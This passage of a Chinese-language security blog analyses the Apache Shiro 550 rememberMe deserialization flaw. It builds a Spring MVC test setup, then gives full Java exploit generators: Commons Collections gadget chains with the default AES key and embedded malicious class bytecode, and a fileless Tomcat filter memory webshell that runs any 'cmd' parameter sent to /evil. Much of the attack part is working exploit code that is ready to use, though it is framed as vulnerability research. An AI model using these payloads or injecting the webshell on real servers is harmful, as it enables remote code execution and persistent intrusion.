</dependencies>
随后我们在Maven
项目中, 添加对Tomcat
的支持, 这个步骤就不再重复了, 熟悉 IDEA 的都懂. 接下来我们一步一步配置Shiro
的环境.
在/WEB-INF/web.xml
中创建如下内容:
<filter>
<filter-name>shiroFilter</filter-name> <!-- filter-name 写 shiro bean 的名称 -->
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:ApplicationContext.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
可以看到, 这里我们使用DelegatingFilterProxy
进行配置我们shiroFilter
, 创建resources/ApplicationContext.xml
文件内容如下:
<context:component-scan base-package="com.heihu577"/> <!-- 扫描 Bean -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/pages/"/> <!-- 配置视图解析器, 当然了, 这里需要在 web/WEB-INF/ 下创建 pages 目录 -->
<property name="suffix" value=".jsp"/>
</bean>
<bean id="defaultWebSecurityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="rememberMeManager"> <!-- 准备 rememberMeManager -->
<bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<property name="cookie">
<bean class="org.apache.shiro.web.servlet.SimpleCookie">
<property name="name" value="rememberMe"/> <!-- 配置 Cookie 名称 -->
<property name="maxAge" value="60"/> <!-- Cookie 存活时长 -->
</bean>
</property>
</bean>
</property>
<property name="realm"> <!-- 准备自定义 Realm, 账号任意, 密码 heihu577 即可登录. -->
<bean class="com.heihu577.realm.MyRealm"/>
</property>
</bean>
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<property name="filterChainDefinitionMap">
<map>
<entry key="/index" value="user"/> <!-- 记住我访问 -->
<entry key="/login" value="anon"/> <!-- 任意用户访问 -->
<entry key="/user/login" value="anon"/> <!-- 任意用户访问 -->
<entry key="/**" value="authc"/> <!-- 已认证访问 -->
</map>
</property>
<property name="securityManager" ref="defaultWebSecurityManager"/> <!-- 定义 SecurityManager -->
<property name="loginUrl" value="/login"/> <!-- 定义登录页面 -->
<property name="unauthorizedUrl" value="/login"/> <!-- 定义未认证跳转页面 -->
</bean>
定义MyRealm
:
public class MyRealm extends AuthorizingRealm {
@Override
public String getName() {
return "myRealm";
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
UsernamePasswordToken upToken = (UsernamePasswordToken) token;
String username = upToken.getUsername();
SimpleAuthenticationInfo simpleAuthenticationInfo = new SimpleAuthenticationInfo(username, "heihu577", getName());
return simpleAuthenticationInfo;
}
}
随后定义Controller
:
@Controller
public class PageController {
@RequestMapping("/index")
public String index() {
return "index";
}
@RequestMapping("/login")
public String login() {
return "login";
}
}
以及登录用的Controller
:
@Controller
@RequestMapping("/user")
public class UserController {
@RequestMapping("/login")
public String login(HttpServletRequest request, String username, String password,
@RequestParam(defaultValue = "false", required = false) boolean rememberMe) {
UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
Subject subject = SecurityUtils.getSubject();
System.out.println(rememberMe);
usernamePasswordToken.setRememberMe(rememberMe);
try {
subject.login(usernamePasswordToken);
System.out.println("登陆成功!");
return "index"; // 登陆成功跳转
/* webapp/WEB-INF/pages/index.jsp 页面内容:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<h3>Hello User: <shiro:principal/></h3>
</body>
</html>
*/
} catch (Exception e) {
System.out.println("登陆失败!");
request.setAttribute("msg", "登陆失败!");
return "login"; // 登陆失败
/* webapp/WEB-INF/pages/login.jsp 页面内容:
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>用户登录</title>
<base href="<%=request.getContextPath()%>/">
</head>
<body>
<form action="user/login" method="post"> <!-- 这里发送的控制器请求在 UserController 进行接收 -->
u: <input type="text" name="username"><br>
p: <input type="password" name="password"><br>
rememberMe: <input type="radio" name="rememberMe"><br>
<input value="登录" type="submit"><br>
${requestScope.msg}
</form>
</body>
</html>
*/
}
}
}
那么我们就搭建了与上面SpringBoot
环境"一模一样"的SpringMVC
环境.
DelegatingFilterProxy 核心逻辑
与SpringBoot
不同的是, 在SpringMVC
中进行配置Shiro
, 需要使用DelegatingFilterProxy
进行支撑, 下面我们看一下为什么需要DelegatingFilterProxy
. 首先我们看一下DelegatingFilterProxy
的类图:
我们可以看到, 该类是一个Filter
, 并且继承了GenericFilterBean
类, 既然是Filter
, 那么当我们配置该Filter
后启动Tomcat
容器, 就会调用Filter::init
方法, 那么我们先看一下该方法做了什么.
DelegatingFilterProxy::init
可以看到的是, 由于Tomcat
注册Filter
在Spring
容器初始化之前, 这里initFilterBean
方法并无法对shiroFilter
做初始化工作.
但是这里BeanWrapper.setPropertyValues(pvs, true)
, 会对targetFilterLifecycle
做初始化工作, 由于代码底层是Spring的代码, 笔者这里就不贴图了, 最终会调用到DelegatingFilterProxy::setTargetFilterLifecycle
, 进行初始化targetFilterLifecycle
这个成员属性.
而其他部分代码对filterConfig && targetBeanName
成员属性进行初始化操作.
我们就简单的理解该方法是用来保存filterConfig && targetBeanName && targetFilterLifecycle
到自己的成员属性中的功能吧.
那么我们分析一下DelegatingFilterProxy::doFilter
方法.
DelegatingFilterProxy::doFilter
通过DelegatingFilterProxy::doFilter
方法我们可以看到, 对 Spring 中是 Filter 的 Bean 进行调用 init 方法与 doFilter 方法.
调用具体 Filter 的 init 方法的前提是, 配置了targetFilterLifecycle
为true
才会进行调用.
Shiro 漏洞分析
Shiro 550 条件: < 1.2.4
Shiro 550
是一个经典的反序列化漏洞, 它是由于RememberMe
功能模块, AES加密
使用了默认Key
, 从而导致了黑客可以通过伪造Key
进行反序列化任意值, 如果此时恰好存在RCE的反序列化链路, 那么黑客将可以使反序列化漏洞升级为RCE漏洞.
调用点回顾
在我们前面分析Shiro
底层机制时, 我们注意到, 当一次HTTP
请求过来时, 会调用到SpringShiroFilter::doFilterInternal
方法, 而这个方法中createSubject
方法调用时, 会解析当前用户的状态, 链路如下:
反序列化点分析
那么我们重点关注getRememberedPrincipals
方法:
我们可以看到, 该代码段做了如下事情.
- 拿到
Cookie
中的rememberMe
的值 - 对
rememberMe
进行Base64
解码操作 - 使用
AES处理器
对Base64解码后的值
进行AES解码
操作 - 将最终解码后的值使用反序列化处理
漏洞产生原理
乍一看逻辑没什么问题, 但问题是AesCipherService
使用的KEY, 是程序中已写死的KEY, 如图:
那么黑客可以通过如下操作:
- 使用该
Key
对恶意序列化值
进行AES
加密处理. - 将该
AES
值进行Base64
编码操作 - 将该
Base64值
放入到rememberMe
这个Cookie
中
这样程序将进行反序列化黑客所指定的恶意序列化值. 从而引发反序列化漏洞.
漏洞复现 - SpringBoot - CC 链
我们可以编写如下EXP, 生成恶意Cookie
值.
public class MyExp01 {
public static void main(String[] args) throws Exception {
AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 Base64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577");
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null);
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map");
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap);
// 如上已准备好 CC 链
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hsMap);
byte[] escapeData = bos.toByteArray();
// 如上已准备好序列化后的值
ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
System.out.println(encrypt.toBase64()); // 准备 Base64 值
}
}
生成Base64
值后, 放到浏览器rememberMe
Cookie中, 把SESSION
去掉, 访问即可触发EXP:
漏洞复现 - SpringMVC - CC 链
上述 Payload 可以在 SpringBoot
中复现, 但是当我们切换到SpringMVC
中, 无法弹出计算器. 跟进 DEBUG 看一下情况:
可以发现, 爆出了ClassNotFound
错误, 那么报错的原因是什么呢?
CC 链失败原因
上面我们可以看到, 失效了, 原因则是, 这里并不是使用的原生的ObjectInputStream
, 而是使用了自己编写的ClassResolvingObjectInputStream
来进行readObject
操作, 我们可以看一下该类是如何定义的:
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName()); // 注意这里
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
}
这里重写了resolveClass
方法, 也就意味着加载类时, 会进入该方法的逻辑. 而对于原生的ObjectInputStream::resolveClass
方法定义是这样的:
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader()); // 使用 Class.forName 进行加载类
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
这两种方式有什么区别吗?我们看一下ClassResolvingObjectInputStream::resolveClass
做了什么事情:
可以看到, ClassLoader.loadClass
在加载数组时都会报错. 而Class.forName
则不会, 如下:
String className = "[I";
Class<?> clazz01 = Class.forName(className);
System.out.println(clazz01); // Class.forName 允许加载数组, class [I
Class<?> clazz02 = ClassLoader.getSystemClassLoader().loadClass(className); // ClassLoader 不允许加载数组, 这里直接报错
而因为我们的链路中, 是存在数组的, 所以使用classLoader
来进行加载链路时, 会抛出异常. 所以这里我们的链路中是不能存在数组的.
无数组 CC 链
这方面也比较简单, 直接运用学过的CC1~7
中的一条无数组链就可以, 而由于CC链
版本限制, 我们不能使用TransformingComparator::compare
这个链, 因为低版本的CC中TransformingComparator
是不允许序列化的.
那么我们就需要自己组合出来一个无数组的CC链, 思路如下:
那么构造如下POC:
public class Exp01 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, invokerTransformer); // 创建一个 lazyMap 对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); // 由于 TiedMapEntry 可以传入任意值, 所以这里可以调用
BadAttributeValueExpException o = new BadAttributeValueExpException(null); // 防止构造方法中就调用 toString
Field val = o.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(o, tiedMapEntry); // 避开构造方法之后, 通过反射改回来恶意对象
// 如上已准备好 CC 链
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
byte[] escapeData = bos.toByteArray();
// 如上已准备好序列化后的值
AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
System.out.println(encrypt.toBase64()); // 准备 Base64 值
}
}
最终可弹计算器:
利用 CB 链
前面介绍我们最常使用的CC链, 为什么现在却要使用CB链?因为Shiro
的pom.xml
文件中, 并没有引入CC链
, 引入的是CB链
, 所以CB链
才是Shiro
漏洞运用的核心. 我们可以看一下Shiro
的pom.xml
:
操作过程就不掩饰了, 看笔者之前深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)
文章中的链路就可以打.
无文件落地内存马注入
servletContext 域对象获取
我们要注入内存马 (通过无文件落地的方式), 肯定是需要ServletContext
, 在我们之前研究内存马注入时, request域
对象中封装了ServletContext
, 所以我们有request域
对象也可以.
而我们在一个恶意类中, 如何获取Tomcat
中全局的ServletContext
对象成了一个问题.
Tomcat 获取域对象
根据 Tomcat 的 WebappClassLoader 来获取 request 域对象.
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
StandardContext context = (StandardContext) resources.getContext(); // 得到上下文对象
其核心原理则是, 通过Thread.currentThread().getContextClassLoader()
得到当前Tomcat
下的ClassLoader
, 也就是WebappClassLoader
. 再通过WebappClassLoader
得到WebResourceRoot
, 在WebResourceRoot
中得到ServletContext
.
但是这个方法会受到Tomcat
版本限制. 在Tomcat
某些版本, 下面是8.5.100
与8.5.50
的getResources
方法对比:
可以看到, 不同版本存在着不同的差异. 具体版本差异笔者参考了下面的文章, 说的是8.5.78版本往后的这个方法都无法获取了.
SpringMVC 获取域对象
SpringMVC
提供了RequestContextHolder
, 这个方法可以获取当前线程中的Request域
对象, 而在Spring
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
理论来讲, SpringMVC && SpringBoot
在正常开发时, 是可以进行获取到的, 我们准备如下代码, 进行测试:
public class TesterController {
@RequestMapping("/test")
@ResponseBody
public String test() {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
System.out.println(contextClassLoader); // SpringBoot: TomcatEmbeddedWebappClassLoader
// Tomcat: ParallelWebappClassLoader
System.out.println(requestAttributes); // ShiroHttpServletRequest
return "TEST";
}
}
可以看到, 我们成功获取到了具体的HttpServletRequest
对象.
获取域对象存在的问题
为了防止大部分的排错, 调试部分占据整个文章篇幅, 笔者先告诉大家一个结论: 在我们使用Shiro550
时, 注入内存马时, SpringBoot 可以成功, Spring MVC 会失败.
原因则是: RequestContextHolder
在SpringBoot
中可以成功获取到request对象
, 而在SpringMVC
会获取到NULL. 为什么会这样?
首先, 我们先看一下RequestContextHolder
是个什么样的一个类:
可以看到,该类将RequestAttributes
放入到了自己的inheritableRequestAttributesHolder
这个ThreadLocal
中. 那么我们整个线程中就可以通过getRequestAttributes
进行获取.
那么, 哪里初始化了这个类, 并将request
设置到这个ThreadLocal
中?
笔者也不卖关子, 在我们配置SpringMVC
的DispatcherServlet
中, 会对request
进行封装, 调用RequestContextHolder::setRequestAttributes
中, 我们观察下图:
我们知道的是, DispatcherServlet
是整个SpringMVC
中的分发器, 当一个Http请求
过来, 会先进入到DispatcherServlet::service
方法, 最终该方法会调用doGet
方法, 我们可以看一下:
我们可以看到, 在doGet
方法中, 会对RequestContextHolder
进行初始化操作, 也就是说, 我们每次从SpringMVC
调用到我们的Controller
之前, RequestContextHolder
已经被初始化了, 所以我们刚刚定义的Controller
, SpringMVC && SpringBoot
都可以获取到RequestContextHolder
.
但是我们注意到的是, ShiroFilter
是一个Filter
, 那么根据Tomcat
设计思想, Listener > Filter > Servlet
, 所以在我们Filter
层触发漏洞时, DispatcherServlet
还并未对RequestContextHolder
进行初始化. 所以我们不可能在Filter
层进行得到Servlet
层中初始化的request
对象.
为了方便后续的描述, 笔者先放一下笔者在调试Shiro
漏洞时, SpringBoot && SpringMVC
的两种不同的返回情况吧:
下面我们来说明一下原因.
SpringMVC 获取不到域对象原因
我们先来看一下为什么SpringBoot
可以获取, 在SpringBoot && SpringMVC
都存在一个叫做RequestContextFilter
类, 在该类的doFilter
方法中, 也对RequestContextFilter
进行初始化操作了:
而如下Filter
是SpringBoot
在启动时, 默认加载的:
CharacterEncodingFilter
HiddenHttpMethodFilter
HttpPutFormContentFilter
RequestContextFilter
但SpringMVC
并没有自动加载配置, 所以在我们调用RequestContextHolder.getRequestAttributes
时会返回NULL
.
解决方法则是, 给SpringMVC
配置上RequestContextFilter
过滤器, 再来看一下结果, 准备/WEB-INF/web.xml
:
<filter>
<filter-name>RequestContextFilter</filter-name>
<filter-class>org.springframework.web.filter.RequestContextFilter</filter-class>
</filter> <!-- 配置在 shiroFilter 之上, 提前将 request 对象放入 RequestContext 中 -->
<filter-mapping>
<filter-name>RequestContextFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>shiroFilter</filter-name> <!-- filter-name 写 shiro bean 的名称 -->
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:ApplicationContext.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
重启Tomcat
后, 最终运行结果:
一个失败的想法
由于在看底层原理时, 我们知道, 当请求过来时, ShiroFilter
会对请求过来的request, response
封装为subject
对象, 并且保存在个人线程中. 笔者就会想到, 能不能通过得到Shiro
自己封装的request
, 先开始是使用的JSP做演示:
<%
Subject subject = SecurityUtils.getSubject();
Field req = subject.getClass().getDeclaredField("servletRequest");
req.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(req, req.getModifiers() & ~Modifier.FINAL); // 让其 final 也允许被赋值
ShiroHttpServletRequest thereReq = (ShiroHttpServletRequest) req.get(subject);
Field servletContextFiled = thereReq.getClass().getDeclaredField("servletContext");
servletContextFiled.setAccessible(true);
ServletContext servletContext = (ServletContext) servletContextFiled.get(thereReq);
out.println(servletContext); // org.apache.catalina.core.ApplicationContextFacade@70b8353a
%>
在JSP
中可以成功得到ServletRequest
对象, 而使用Shiro550
进行内存马注入时, 会因为Subject
获取不到产生错误.
为什么获取不到呢?原因则是调用到Shiro
漏洞点时, Subject
还未被Shiro
放入到线程中去. 最终以失败告终. 这里调试过程就不献丑了.
注入 Tomcat 内存马
由于我们可以得到ServletContext | request
对象, 所以我们可以进行内存马注入. 那么我们编写如下POC:
public class NeiCunMa extends AbstractTranslet implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 内存马请求过来主要逻辑
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/evil".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
static { // 在 static 代码块中进行注入内存马
try {
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
ServletContext servletContext = request.getServletContext();
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("heihuFilter");
standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(NeiCunMa.class.getName()); // 设置自己
filterDef.setFilter(new NeiCunMa()); // 放入自己, 因为自己就是 Filter
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps
// 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
// 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
filterConfigs.set(standardContext, myFilterConfigs);
} catch (Exception e) {}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void destroy() {}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
在static
中进行注入内存马即可. 准备生成RememberMe
的脚本:
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = Repository.lookupClass(NeiCunMa.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
